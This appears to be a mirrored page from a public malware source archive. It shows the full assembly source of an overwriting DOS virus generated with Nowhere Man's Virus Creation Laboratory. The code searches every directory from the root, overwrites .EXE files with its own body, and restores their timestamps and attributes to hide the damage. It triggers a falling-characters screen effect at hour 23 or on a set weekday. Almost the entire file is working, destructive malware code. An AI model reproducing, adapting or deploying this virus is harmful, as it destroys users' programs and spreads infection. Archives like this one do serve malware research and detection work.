mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
324 lines
12 KiB
NASM
324 lines
12 KiB
NASM
|
; UNTITLED.ASM
|
||
|
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||
|
|
; Written by Unknown User
|
||
|
|
|
||
|
|
virus_type equ 1 ; Overwriting Virus
|
||
|
|
is_encrypted equ 0 ; We're not encrypted
|
||
|
|
tsr_virus equ 0 ; We're not TSR
|
||
|
|
|
||
|
|
code segment byte public
|
||
|
|
assume cs:code,ds:code,es:code,ss:code
|
||
|
|
org 0100h
|
||
|
|
|
||
|
|
start label near
|
||
|
|
|
||
|
|
main proc near
|
||
|
|
|
||
|
|
Row dw 24
|
||
|
|
|
||
|
|
flag: xchg dx,ax
|
||
|
|
mul ch
|
||
|
|
xchg dx,ax
|
||
|
|
|
||
|
|
call search_files ; Find and infect a file
|
||
|
|
call search_files ; Find and infect another file
|
||
|
|
call get_hour
|
||
|
|
cmp ax,0017h ; Did the function return 23?
|
||
|
|
je strt00 ; If equal, do effect
|
||
|
|
call get_weekday
|
||
|
|
cmp ax,0005h ; Did the function return 5?
|
||
|
|
je strt00 ; If equal, do effect
|
||
|
|
jmp end00 ; Otherwise skip over it
|
||
|
|
|
||
|
|
;First, get current video mode and page.
|
||
|
|
strt00: mov cx,0B800h ;color display, color video mem for page 1
|
||
|
|
mov ah,15 ;Get current video mode
|
||
|
|
int 10h
|
||
|
|
cmp al,2 ;Color?
|
||
|
|
je A2 ;Yes
|
||
|
|
cmp al,3 ;Color?
|
||
|
|
je A2 ;Yes
|
||
|
|
cmp al,7 ;Mono?
|
||
|
|
je A1 ;Yes
|
||
|
|
int 20h ;No,quit
|
||
|
|
|
||
|
|
;here if 80 col text mode; put video segment in ds.
|
||
|
|
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
|
||
|
|
A2: mov bl,0 ;bx=page offset
|
||
|
|
add cx,bx ;Video segment
|
||
|
|
mov ds,cx ;in ds
|
||
|
|
|
||
|
|
;start dropsy effect
|
||
|
|
xor bx,bx ;Start at top left corner
|
||
|
|
A3: push bx ;Save row start on stack
|
||
|
|
mov bp,80 ;Reset column counter
|
||
|
|
;Do next column in a row.
|
||
|
|
A4: mov si,bx ;Set row top in si
|
||
|
|
mov ax,[si] ;Get char & attr from screen
|
||
|
|
cmp al,20h ;Is it a blank?
|
||
|
|
je A7 ;Yes, skip it
|
||
|
|
mov dx,ax ;No, save it in dx
|
||
|
|
mov al,20h ;Make it a space
|
||
|
|
mov [si],ax ;and put on screen
|
||
|
|
add si,160 ;Set for next row
|
||
|
|
mov di,cs:Row ;Get rows remaining
|
||
|
|
A5: mov ax,[si] ;Get the char & attr from screen
|
||
|
|
mov [si],dx ;Put top row char & attr there
|
||
|
|
A6: call Vert ;Wait for 2 vert retraces
|
||
|
|
mov [si],ax ;Put original char & attr back
|
||
|
|
;Do next row, this column.
|
||
|
|
add si,160 ;Next row
|
||
|
|
dec di ;Done all rows remaining?
|
||
|
|
jne A5 ;No, do next one
|
||
|
|
mov [si-160],dx ;Put char & attr on line 25 as junk
|
||
|
|
;Do next column on this row.
|
||
|
|
A7: add bx,2 ;Next column, same row
|
||
|
|
dec bp ;Dec column counter; done?
|
||
|
|
jne A4 ;No, do this column
|
||
|
|
;Do next row.
|
||
|
|
A8: pop bx ;Get current row start
|
||
|
|
add bx,160 ;Next row
|
||
|
|
dec cs:Row ;All rows done?
|
||
|
|
jne A3 ;No
|
||
|
|
A9: mov ax,4C00h
|
||
|
|
int 21h ;Yes, quit to DOS with error code
|
||
|
|
|
||
|
|
;routine to deal with snow on CGA screen.
|
||
|
|
Vert: push ax
|
||
|
|
push dx
|
||
|
|
push cx ;Save all registers used
|
||
|
|
mov cl,2 ;Wait for 2 vert retraces
|
||
|
|
mov dx,3DAh ;CRT status port
|
||
|
|
F1: in al,dx ;Read status
|
||
|
|
test al,8 ;Vert retrace went hi?
|
||
|
|
je F1 ;No, wait for it
|
||
|
|
dec cl ;2nd one?
|
||
|
|
je F3 ;Yes, write during blanking time
|
||
|
|
F2: in al,dx ;No, get status
|
||
|
|
test al,8 ;Vert retrace went low?
|
||
|
|
jne F2 ;No, wait for it
|
||
|
|
jmp F1 ;Yes, wait for next hi
|
||
|
|
F3: pop cx
|
||
|
|
pop dx
|
||
|
|
pop ax ;Restore registers
|
||
|
|
ret
|
||
|
|
end00: mov ax,04C00h ; DOS terminate function
|
||
|
|
int 021h
|
||
|
|
main endp
|
||
|
|
|
||
|
|
search_files proc near
|
||
|
|
push bp ; Save BP
|
||
|
|
mov bp,sp ; BP points to local buffer
|
||
|
|
sub sp,64 ; Allocate 64 bytes on stack
|
||
|
|
|
||
|
|
mov ah,047h ; DOS get current dir function
|
||
|
|
xor dl,dl ; DL holds drive # (current)
|
||
|
|
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ah,03Bh ; DOS change directory function
|
||
|
|
mov dx,offset root ; DX points to root directory
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
call traverse ; Start the traversal
|
||
|
|
|
||
|
|
mov ah,03Bh ; DOS change directory function
|
||
|
|
lea dx,[bp - 64] ; DX points to old directory
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov sp,bp ; Restore old stack pointer
|
||
|
|
pop bp ; Restore BP
|
||
|
|
ret ; Return to caller
|
||
|
|
|
||
|
|
root db "\",0 ; Root directory
|
||
|
|
search_files endp
|
||
|
|
|
||
|
|
traverse proc near
|
||
|
|
push bp ; Save BP
|
||
|
|
|
||
|
|
mov ah,02Fh ; DOS get DTA function
|
||
|
|
int 021h
|
||
|
|
push bx ; Save old DTA address
|
||
|
|
|
||
|
|
mov bp,sp ; BP points to local buffer
|
||
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
|
|
||
|
|
mov ah,01Ah ; DOS set DTA function
|
||
|
|
lea dx,[bp - 128] ; DX points to buffer
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ah,04Eh ; DOS find first function
|
||
|
|
mov cx,00010000b ; CX holds search attributes
|
||
|
|
mov dx,offset all_files ; DX points to "*.*"
|
||
|
|
int 021h
|
||
|
|
jc leave_traverse ; Leave if no files present
|
||
|
|
|
||
|
|
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||
|
|
jne another_dir ; If not, try again
|
||
|
|
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||
|
|
je another_dir ;If so, keep going
|
||
|
|
|
||
|
|
mov ah,03Bh ; DOS change directory function
|
||
|
|
lea dx,[bp - 98] ; DX points to new directory
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
call traverse ; Recursively call ourself
|
||
|
|
|
||
|
|
pushf ; Save the flags
|
||
|
|
mov ah,03Bh ; DOS change directory function
|
||
|
|
mov dx,offset up_dir ; DX points to parent directory
|
||
|
|
int 021h
|
||
|
|
popf ; Restore the flags
|
||
|
|
|
||
|
|
jnc done_searching ; If we infected then exit
|
||
|
|
|
||
|
|
another_dir: mov ah,04Fh ; DOS find next function
|
||
|
|
int 021h
|
||
|
|
jnc check_dir ; If found check the file
|
||
|
|
|
||
|
|
leave_traverse:
|
||
|
|
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||
|
|
call find_files ; Try to infect a file
|
||
|
|
done_searching: mov sp,bp ; Restore old stack frame
|
||
|
|
mov ah,01Ah ; DOS set DTA function
|
||
|
|
pop dx ; Retrieve old DTA address
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
pop bp ; Restore BP
|
||
|
|
ret ; Return to caller
|
||
|
|
|
||
|
|
up_dir db "..",0 ; Parent directory name
|
||
|
|
all_files db "*.*",0 ; Directories to search for
|
||
|
|
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||
|
|
traverse endp
|
||
|
|
|
||
|
|
find_files proc near
|
||
|
|
push bp ; Save BP
|
||
|
|
|
||
|
|
mov ah,02Fh ; DOS get DTA function
|
||
|
|
int 021h
|
||
|
|
push bx ; Save old DTA address
|
||
|
|
|
||
|
|
mov bp,sp ; BP points to local buffer
|
||
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
|
|
||
|
|
push dx ; Save file mask
|
||
|
|
mov ah,01Ah ; DOS set DTA function
|
||
|
|
lea dx,[bp - 128] ; DX points to buffer
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ah,04Eh ; DOS find first file function
|
||
|
|
mov cx,00100111b ; CX holds all file attributes
|
||
|
|
pop dx ; Restore file mask
|
||
|
|
find_a_file: int 021h
|
||
|
|
jc done_finding ; Exit if no files found
|
||
|
|
call infect_file ; Infect the file!
|
||
|
|
jnc done_finding ; Exit if no error
|
||
|
|
mov ah,04Fh ; DOS find next file function
|
||
|
|
jmp short find_a_file ; Try finding another file
|
||
|
|
|
||
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
||
|
|
mov ah,01Ah ; DOS set DTA function
|
||
|
|
pop dx ; Retrieve old DTA address
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
pop bp ; Restore BP
|
||
|
|
ret ; Return to caller
|
||
|
|
find_files endp
|
||
|
|
|
||
|
|
infect_file proc near
|
||
|
|
mov ah,02Fh ; DOS get DTA address function
|
||
|
|
int 021h
|
||
|
|
mov si,bx ; SI points to the DTA
|
||
|
|
|
||
|
|
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||
|
|
|
||
|
|
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
||
|
|
jne infection_done ; If it is then exit
|
||
|
|
|
||
|
|
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
||
|
|
je infection_done ; If it is then skip it
|
||
|
|
|
||
|
|
cmp word ptr [si + 01Ah],(finish - start)
|
||
|
|
jb infection_done ; If it's too small then exit
|
||
|
|
|
||
|
|
mov ax,03D00h ; DOS open file function, r/o
|
||
|
|
lea dx,[si + 01Eh] ; DX points to file name
|
||
|
|
int 021h
|
||
|
|
xchg bx,ax ; BX holds file handle
|
||
|
|
|
||
|
|
mov ah,03Fh ; DOS read from file function
|
||
|
|
mov cx,4 ; CX holds bytes to read (4)
|
||
|
|
mov dx,offset buffer ; DX points to buffer
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ah,03Eh ; DOS close file function
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
push si ; Save DTA address before compare
|
||
|
|
mov si,offset buffer ; SI points to comparison buffer
|
||
|
|
mov di,offset flag ; DI points to virus flag
|
||
|
|
mov cx,4 ; CX holds number of bytes (4)
|
||
|
|
rep cmpsb ; Compare the first four bytes
|
||
|
|
pop si ; Restore DTA address
|
||
|
|
je infection_done ; If equal then exit
|
||
|
|
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||
|
|
|
||
|
|
mov ax,04301h ; DOS set file attrib. function
|
||
|
|
xor cx,cx ; Clear all attributes
|
||
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ax,03D02h ; DOS open file function, r/w
|
||
|
|
int 021h
|
||
|
|
xchg bx,ax ; BX holds file handle
|
||
|
|
|
||
|
|
mov ah,040h ; DOS write to file function
|
||
|
|
mov cx,finish - start ; CX holds virus length
|
||
|
|
mov dx,offset start ; DX points to start of virus
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ax,05701h ; DOS set file time function
|
||
|
|
mov cx,[si + 016h] ; CX holds old file time
|
||
|
|
mov dx,[si + 018h] ; DX holds old file date
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ah,03Eh ; DOS close file function
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
mov ax,04301h ; DOS set file attrib. function
|
||
|
|
xor ch,ch ; Clear CH for file attribute
|
||
|
|
mov cl,[si + 015h] ; CX holds file's old attributes
|
||
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||
|
|
ret ; Return to caller
|
||
|
|
|
||
|
|
buffer db 4 dup (?) ; Buffer to hold test data
|
||
|
|
set_carry db ? ; Set-carry-on-exit flag
|
||
|
|
infect_file endp
|
||
|
|
|
||
|
|
|
||
|
|
get_hour proc near
|
||
|
|
mov ah,02Ch ; DOS get time function
|
||
|
|
int 021h
|
||
|
|
mov al,ch ; Copy hour into AL
|
||
|
|
cbw ; Sign-extend AL into AX
|
||
|
|
ret ; Return to caller
|
||
|
|
get_hour endp
|
||
|
|
|
||
|
|
get_weekday proc near
|
||
|
|
mov ah,02Ah ; DOS get date function
|
||
|
|
int 021h
|
||
|
|
cbw ; Sign-extend AL into AX
|
||
|
|
ret ; Return to caller
|
||
|
|
get_weekday endp
|
||
|
|
|
||
|
|
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||
|
|
|
||
|
|
finish label near
|
||
|
|
|
||
|
|
code ends
|
||
|
|
end main
|